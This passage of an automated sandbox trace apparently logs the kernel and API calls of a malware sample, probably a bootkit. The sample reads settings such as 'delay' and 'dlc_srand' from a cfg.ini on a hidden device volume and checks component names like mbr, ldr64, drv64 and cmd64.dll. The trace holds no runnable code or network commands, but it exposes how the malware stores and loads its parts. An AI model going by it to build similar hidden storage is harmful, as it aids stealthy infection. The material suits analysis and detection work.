FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] KeLeaveCriticalRegion () [0130.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.617] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.617] KeEnterCriticalRegion () [0130.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] KeLeaveCriticalRegion () [0130.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.617] ReleaseMutex (hMutex=0xf0) returned 1 [0130.618] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.618] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.618] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.618] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.618] KeEnterCriticalRegion () [0130.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.618] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.618] IdePortDispatch () returned 0x103 [0130.618] KeWaitForMutexObject () returned 0x0 [0130.618] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.618] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.618] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.618] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.618] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.618] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.618] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.618] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.618] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.618] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.618] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.618] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.618] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.618] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.619] KeLeaveCriticalRegion () [0130.619] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.619] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.619] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.619] KeEnterCriticalRegion () [0130.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.619] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.619] IdePortDispatch () returned 0x103 [0130.619] KeWaitForMutexObject () returned 0x0 [0130.619] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.619] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.619] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.619] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.619] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.619] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.619] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.619] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.619] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.619] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.619] KeLeaveCriticalRegion () [0130.619] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.620] ReleaseMutex (hMutex=0x100) returned 1 [0130.620] Sleep (dwMilliseconds=0x2bf20) [0130.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70f9e5b0, dwHighDateTime=0x1d24fa4)) [0130.629] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.629] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.629] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.629] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.629] KeEnterCriticalRegion () [0130.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.629] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.629] IdePortDispatch () returned 0x103 [0130.629] KeWaitForMutexObject () returned 0x0 [0130.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.629] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.629] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.629] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.629] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.629] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845af0 [0130.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.629] KeLeaveCriticalRegion () [0130.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.629] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.630] KeEnterCriticalRegion () [0130.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.630] KeLeaveCriticalRegion () [0130.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.630] KeEnterCriticalRegion () [0130.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.630] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.630] IdePortDispatch () returned 0x103 [0130.630] KeWaitForMutexObject () returned 0x0 [0130.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.630] KeLeaveCriticalRegion () [0130.630] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.630] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.630] KeEnterCriticalRegion () [0130.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003455000 [0130.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.631] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.631] IdePortDispatch () returned 0x103 [0130.631] KeWaitForMutexObject () returned 0x0 [0130.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.631] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.631] IdePortDispatch () returned 0x103 [0130.631] KeWaitForMutexObject () returned 0x0 [0130.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.631] KeLeaveCriticalRegion () [0130.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.632] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.632] KeEnterCriticalRegion () [0130.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.632] KeLeaveCriticalRegion () [0130.632] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.632] KeEnterCriticalRegion () [0130.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.632] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.632] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d5c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.632] KeLeaveCriticalRegion () [0130.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.632] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.632] KeEnterCriticalRegion () [0130.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.632] ExFreePoolWithTag (P=0xfffffa8002845af0, Tag=0x0) [0130.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.633] KeLeaveCriticalRegion () [0130.633] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.633] ReleaseMutex (hMutex=0xf0) returned 1 [0130.633] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.633] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.633] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.633] KeEnterCriticalRegion () [0130.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.633] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.633] IdePortDispatch () returned 0x103 [0130.633] KeWaitForMutexObject () returned 0x0 [0130.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.633] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.633] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.633] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.633] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.633] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c9b0 [0130.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.633] KeLeaveCriticalRegion () [0130.633] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.634] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.634] KeEnterCriticalRegion () [0130.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.634] KeLeaveCriticalRegion () [0130.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.634] KeEnterCriticalRegion () [0130.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.634] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.634] IdePortDispatch () returned 0x103 [0130.634] KeWaitForMutexObject () returned 0x0 [0130.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.634] KeLeaveCriticalRegion () [0130.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.635] KeEnterCriticalRegion () [0130.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003456000 [0130.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.635] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.635] IdePortDispatch () returned 0x103 [0130.635] KeWaitForMutexObject () returned 0x0 [0130.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.635] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.635] IdePortDispatch () returned 0x103 [0130.635] KeWaitForMutexObject () returned 0x0 [0130.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.635] KeLeaveCriticalRegion () [0130.635] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.636] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.636] KeEnterCriticalRegion () [0130.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.636] KeLeaveCriticalRegion () [0130.636] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.636] KeEnterCriticalRegion () [0130.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.636] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.636] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.636] KeLeaveCriticalRegion () [0130.636] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.637] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.637] KeEnterCriticalRegion () [0130.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.637] ExFreePoolWithTag (P=0xfffffa800294c9b0, Tag=0x0) [0130.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.637] KeLeaveCriticalRegion () [0130.637] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.637] ReleaseMutex (hMutex=0xf0) returned 1 [0130.637] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.637] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.637] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.637] KeEnterCriticalRegion () [0130.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.637] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.637] IdePortDispatch () returned 0x103 [0130.637] KeWaitForMutexObject () returned 0x0 [0130.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.638] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.638] KeLeaveCriticalRegion () [0130.638] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.638] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.638] KeEnterCriticalRegion () [0130.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.638] KeLeaveCriticalRegion () [0130.638] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.638] KeEnterCriticalRegion () [0130.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.638] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.638] IdePortDispatch () returned 0x103 [0130.638] KeWaitForMutexObject () returned 0x0 [0130.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.638] KeLeaveCriticalRegion () [0130.638] IofCompleteRequest 